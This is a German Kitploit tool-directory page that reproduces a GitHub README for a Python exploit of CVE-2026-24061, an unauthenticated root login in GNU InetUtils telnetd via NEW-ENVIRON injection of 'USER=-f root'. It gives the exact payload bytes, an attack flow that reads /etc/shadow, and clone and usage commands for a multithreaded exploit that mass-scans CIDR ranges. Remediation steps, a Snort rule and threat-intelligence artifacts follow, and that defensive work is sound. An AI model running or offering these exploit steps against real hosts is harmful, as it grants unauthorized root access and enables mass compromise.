Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd – Nicht authentifizierter Remote-Root-Zugriff über NEW-ENVIRON-Variableninjektion. | Kitploit
Tools/GitHubGitHub/franckferman/cve-2026-24061
SchwachstellenscannerExploitationNetzwerksicherheitPenetrationstestsBedrohungsanalyseAuthentifizierungLernen & BildungRed Teaming
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd – Nicht authentifizierter Remote-Root-Zugriff über NEW-ENVIRON-Variableninjektion.

Repository anzeigen
4vor 5 MonatenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE Score License Python No deps

GNU InetUtils telnetd - Nicht authentifizierter Remote-Root-Zugriff durch NEW-ENVIRON-Variableninjektion

Überblick - Technische Analyse - Betroffene Versionen - Verwendung - Behebung und Gegenmaßnahmen - Referenzen


Überblick über die Schwachstelle

CVE-2026-24061 ist eine kritische Authentifizierungs-Bypass-Schwachstelle im telnetd-Daemon, der als Teil von GNU InetUtils ausgeliefert wird. Der Fehler liegt in der Verarbeitung der Telnet-Option NEW-ENVIRON (RFC 1572) während des anfänglichen Protokoll-Handshakes.

Die Grundursache ist eine fehlende Bereinigung der vom Client gelieferten Umgebungsvariablen, bevor diese an das Programm übergeben werden. Wenn der Telnet-Daemon ein -Sub-Negotiation-Paket mit der Variablen und dem Wert empfängt, übergibt er diesen unbereinigten Wert direkt an das System--Binary.

login(1)
NEW-ENVIRON IS
USER
-f root
login

Auf Systemen, auf denen login das Flag -f akzeptiert (erzwungener Login ohne Passwortprüfung), führt dies dazu, dass dem entfernten Angreifer eine nicht authentifizierte Root-Sitzung gewährt wird.

Diese Schwachstellenklasse hat historische Präzedenzfälle: CVE-2001-0797 in SysV telnetd und der bekannte Linux-telnetd--f-Bypass von 1994 nutzten denselben grundlegenden Fehler aus: die fehlende Bereinigung von umgebungsbasierten Argumenten, die an privilegierte Binaries übergeben werden.

Keine Anmeldeinformationen erforderlich. Kein vorheriger Zugriff nötig. Eine einzige Netzwerkpaketsequenz führt zu Root.

Technische Analyse

Grundursache

GNU InetUtils telnetd verarbeitet die NEW-ENVIRON-Sub-Negotiation (Optionscode 0x27, gemäß RFC 1572), um vom Client gelieferte Umgebungsvariablen zu sammeln. Diese Variablen werden zu einem Argumentvektor zusammengesetzt und beim Starten von login(1) an execve(2) übergeben.

Die Schwachstelle wird wie folgt ausgelöst:

  1. Der Server sendet IAC DO NEW-ENVIRON und fordert damit Umgebungsvariablen vom Client an.
  2. Der bösartige Client antwortet mit IAC WILL NEW-ENVIRON.
  3. Der Server folgt mit IAC SB NEW-ENVIRON SEND IAC SE.
  4. Der Client sendet die injizierte Nutzlast:
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd konstruiert den login-Aufruf als login -f root.
  2. login(1) interpretiert -f als „Login erzwingen, Authentifizierung überspringen" und meldet den angegebenen Benutzer (root) ohne Passwortabfrage an.

Protokollebene-Aufschlüsselung

SchrittRichtungTelnet-Bytes (hex)Bedeutung
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

Warum -f root funktioniert

Das login(1)-Binary auf vielen Linux-Systemen akzeptiert das Flag -f <user> für „vorauthentifizierte" Logins, das historisch von Terminal-Multiplexern und rlogin verwendet wurde. Wenn telnetd seinen exec-Aufruf aufbaut und es versäumt, führende Bindestriche zu entfernen oder optionsähnliche Zeichenfolgen in Umgebungsvariablenwerten zu validieren, übergibt es unbeabsichtigt vom Angreifer kontrollierte Flags direkt an login.

Der effektive Aufruf wird zu:

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

Angriffsszenario

root@kitploit:~
Angreifer                                    Verwundbarer telnetd (Port 23)
   |                                                   |
   |------- TCP SYN (Port 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Telnet-Banner + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd ruft auf: login -f root]          |
   |                                                   |
   |<------ Root-Shell-Eingabeaufforderung (#) --------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root /etc/shadow-Inhalt -------|

Voraussetzungen:

  • Zielsystem mit GNU InetUtils telnetd (TCP/23 offen)
  • Nicht gepatchte Version von inetutils
  • login(1)-Binary unterstützt das Flag -f (Standard auf den meisten Linux-Distributionen)
  • Keine Firewall, die TCP/23 blockiert

Betroffene Versionen

SoftwareBetroffene VersionenStatus
GNU InetUtils telnetd<= 2.x (spezifische gepatchte Version noch offen)Verwundbar
Distributionen mit nicht gepatchtem GNU inetutilsVerschiedeneHerstellerhinweis prüfen

Prüfen Sie, ob Ihre Distribution eine gepatchte Version ausliefert. Viele moderne Systeme haben Telnet standardmäßig deaktiviert; die Gefährdung erfordert einen explizit laufenden telnetd.

CVSS-Score

MetrikWert
CVSS v3.1 Basis-Score9.8 (Kritisch)
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
ScopeUnverändert
VertraulichkeitsauswirkungHoch
IntegritätsauswirkungHoch
VerfügbarkeitsauswirkungHoch
Vektor-StringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK-Zuordnung

ATT&CK-IDTaktikTechnikRelevanz
T1190Initialer ZugriffAusnutzung öffentlich zugänglicher AnwendungenDirekte Ausnutzung von telnetd über das Netzwerk
T1059AusführungBefehls- und SkriptinterpreterShell-Ausführung nach der Ausnutzung
T1078.004Privilegienerweiterung / Umgehung der VerteidigungGültige Konten: Lokale KontenAuthentifizierungs-Bypass führt zu einer gültigen Root-Sitzung
T1548PrivilegienerweiterungMissbrauch von Erhöhungs-Kontrollmechanismenlogin -f-Flag wird missbraucht, um PAM/Authentifizierung zu umgehen
T1046EntdeckungNetzwerkdienst-EntdeckungMassen-Scan-Komponente des PoC

Installation

Anforderungen: Python 3 (nur Standardbibliothek, null externe Abhängigkeiten).

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

Kein pip install erforderlich. Beide Skripte verwenden nur die Python-Standardbibliothek.

Projektstruktur

root@kitploit:~
poc_cve_2026_24061.py       # Einfacher PoC (~100 Zeilen) - die Schwachstelle verstehen
cve_2026_24061.py           # Industrialisierter Exploit - multithreaded, CIDR, CSV/JSON-Export
scripts/
  generate_signatures.py    # Automatische Generierung von Snort/Suricata + Sigma-Regeln aus der Nutzlast
  generate_misp_event.py    # Generierung eines MISP-importierbaren Ereignis-JSON
  generate_stix_bundle.py   # Generierung eines STIX 2.1-Bundles (MISP, OpenCTI, TAXII)
signatures/
  snort.rules               # Snort/Suricata-Erkennungsregeln (automatisch generiert)
  sigma.yml                 # Sigma-Regel für SIEM (automatisch generiert)
indicators/
  misp_event.json           # MISP-Ereignis - Import über Ereignisse > Ereignis hinzufügen > Import
  stix_bundle.json          # STIX 2.1-Bundle - 11 Objekte (Vuln, Indicator, ATT&CK, CoA)
  • poc_cve_2026_24061.py: Minimal, lesbar, lehrreich. Ein Ziel, eine Funktion, null Abstraktion. Lesen Sie dies, um genau zu verstehen, wie die Schwachstelle auf Protokollebene funktioniert.
  • cve_2026_24061.py: Industrialisierter Exploit für Penetrationstest-Einsätze. Multithreaded, unterstützt CIDR-Bereiche, Dateieingabe, CSV/JSON-Export, Quiet-Modus, benutzerdefinierte Benutzer.

Verwendung

Einfacher PoC (poc_cve_2026_24061.py)

Nutzen Sie einen einzelnen Host aus. Der Code ist bewusst minimal gehalten, sodass Sie ihn von oben nach unten lesen und die gesamte Angriffskette verstehen können.

root@kitploit:~
# Grundlegende Verwendung
python3 poc_cve_2026_24061.py 192.168.1.100

# Benutzerdefinierter Port
python3 poc_cve_2026_24061.py 10.0.0.5 2323

Industrialisierter Exploit (cve_2026_24061.py)

Einzelner Host

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

CIDR-Bereich (Massen-Scan)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

Dateieingabe

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

JSON-Export

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

Benutzerdefinierter Zielbenutzer

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

Quiet-Modus (pipe-freundlich)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

Alle Optionen

ParameterStandardBeschreibung
-t / --target-Einzelne IP, Hostname oder CIDR-Bereich
-f / --file-Datei mit IPs/CIDRs (eine pro Zeile, #-Kommentare)
-T / --threads10Anzahl der gleichzeitigen Threads
-p / --port23Ziel-Telnet-Port
--timeout5Socket-Timeout in Sekunden
--userrootBenutzername für die -f-Nutzlast
-o / --output-Ergebnisse in CSV-Datei exportieren
--json-Ergebnisse in JSON-Datei exportieren
-q / --quietausQuiet-Modus: nur verwundbare Ziele ausgeben (eine pro Zeile)
--no-colorausANSI-Farbausgabe deaktivieren

Ausgabestatus

StatusBedeutung
[VULN]Host als verwundbar bestätigt - Root-Shell erhalten
[SAFE]Host hat geantwortet, aber die Authentifizierung wurde nicht umgangen
[CLOS]Port geschlossen oder Verbindung abgelehnt
[ERR ]Socket- oder Protokollfehler während des Scans

CSV-Ausgabespalten: ip:port, status, message

PoC-Verhalten

Das Skript implementiert die vollständige Telnet-NEW-ENVIRON-Negotiation-Zustandsmaschine nativ in Python, ohne auf externe Telnet-Bibliotheken zurückzugreifen:

  1. Öffnet einen rohen TCP-Socket zum Ziel auf Port 23 (konfigurierbar).
  2. Liest eingehende IAC-Befehlssequenzen und antwortet auf DO NEW-ENVIRON mit WILL NEW-ENVIRON.
  3. Beim Empfang der Server-SB NEW-ENVIRON SEND-Sub-Negotiation überträgt es die injizierte Nutzlast (USER = "-f root").
  4. Überwacht den Antwortpuffer auf Indikatoren für einen erfolgreichen Root-Login: Vorhandensein von uid=0(root) oder einer Shell-Eingabeaufforderung (#), in Abwesenheit von Login incorrect oder Password:.
  5. Wenn die Nutzlast injiziert wurde, sendet es id\n und prüft auf uid=0(root) in der Antwort als sekundäre Bestätigung.

Ergebnisse werden mit farbcodierten Statusbezeichnungen auf stdout protokolliert. Optionaler CSV-Export erfasst alle Befunde für die Nachbearbeitung.

Behebung und Gegenmaßnahmen

Sofortmaßnahmen

  1. Telnet vollständig deaktivieren. Telnet überträgt alle Daten im Klartext. Ersetzen Sie es durch SSH.

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. Hersteller-Patch anwenden. Installieren Sie die gepatchte Version von inetutils von Ihrer Distribution, sobald sie verfügbar ist.

  3. TCP/23 an der Perimeter-Firewall blockieren. Wenden Sie Firewall-Regeln an, um eingehende Telnet-Verbindungen zu verweigern.

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

Verteidigung in der Tiefe

KontrolleBeschreibung
NetzwerksegmentierungTelnet auf isolierte Verwaltungsnetzwerke beschränken, wenn es nicht deaktiviert werden kann
PAM-HärtungPAM-Konfiguration überprüfen; -f-Vorauthentifizierung deaktivieren, wo sie von login.defs nicht benötigt wird
IDS/IPS-SignaturenNEW-ENVIRON IS VAR USER VALUE -f-Muster im Telnet-Verkehr erkennen
Audit-Protokollierungauth.log / secure auf unerwartete Root-Logins über login überwachen
Schwachstellen-ScanningAuthentifizierte Scans (OpenVAS, Nessus) durchführen, um nicht gepatchtes inetutils zu identifizieren

Erkennung (SIEM/IDS)

Snort/Suricata-Regelgerüst zur Erkennung des Exploits während der Übertragung:

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 telnetd USER=-f root Exploit-Versuch";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

Threat Intelligence

Dieses Repository enthält vorgefertigte Threat-Intelligence-Artefakte, die direkt in Ihren SOC/CTI-Stack importiert werden können. Sie werden automatisch von CI aus der tatsächlichen Exploit-Nutzlast generiert - wenn sich die Nutzlast ändert, aktualisieren sich die Artefakte.

MISP

Importieren Sie indicators/misp_event.json direkt in jede MISP-Instanz:

root@kitploit:~
Ereignisse > Ereignis hinzufügen > Import von... > JSON

Das Ereignis enthält: CVE-ID, CVSS-Vektor, Snort-Signatur, Nutzlast-Hex, MITRE ATT&CK-Tags (T1190, T1548, T1059), CPE und externe Referenzen.

STIX 2.1

Importieren Sie indicators/stix_bundle.json in OpenCTI, TAXII-Server oder jeden STIX-2.1-Konsumenten.

Das Bundle enthält 11 Objekte: Vulnerability, Indicator (Netzwerkmuster), 3 Attack Patterns (MITRE), Course of Action (Behebung), Identity und Relationships, die diese verbinden.

IDS-Signaturen

Vorgefertigte Regeln in signatures/:

  • snort.rules - 3 Snort/Suricata-Regeln (Exploit-Versuch, generische -f-Injektion, Root-Shell nach der Ausnutzung)
  • sigma.yml - Sigma-Regel für SIEM-Korrelation

Neu generieren

Wenn Sie die Exploit-Nutzlast ändern, generieren Sie alle Artefakte neu:

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

Referenzen: MISP - OpenCTI - STIX 2.1 - Sigma

Referenzen

  • GNU InetUtils Offizielles Repository
  • RFC 1572 - Telnet-Umgebungsoption (NEW-ENVIRON)
  • RFC 854 - Telnet-Protokollspezifikation
  • CVE-2001-0797 - Historischer SysV telnetd -f-Bypass (Präzedenzfall)
  • MITRE ATT&CK - T1190: Exploit Public-Facing Application
  • MITRE ATT&CK - T1548: Abuse Elevation Control Mechanism
  • MISP-Projekt
  • Linux login(1) Manpage

Rechtlicher Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitsaudits, akademische Forschung und Bildungszwecke bereitgestellt. Die Verwendung gegen Systeme ohne ausdrückliche schriftliche Genehmigung des Systemeigentümers ist nach geltenden Gesetzen zu Computerbetrug und -missbrauch illegal (einschließlich, aber nicht beschränkt auf CFAA, Computer Misuse Act und gleichwertige Gesetzgebung). Der Autor übernimmt keine Haftung für unbefugte oder böswillige Nutzung.

Tool herunterladen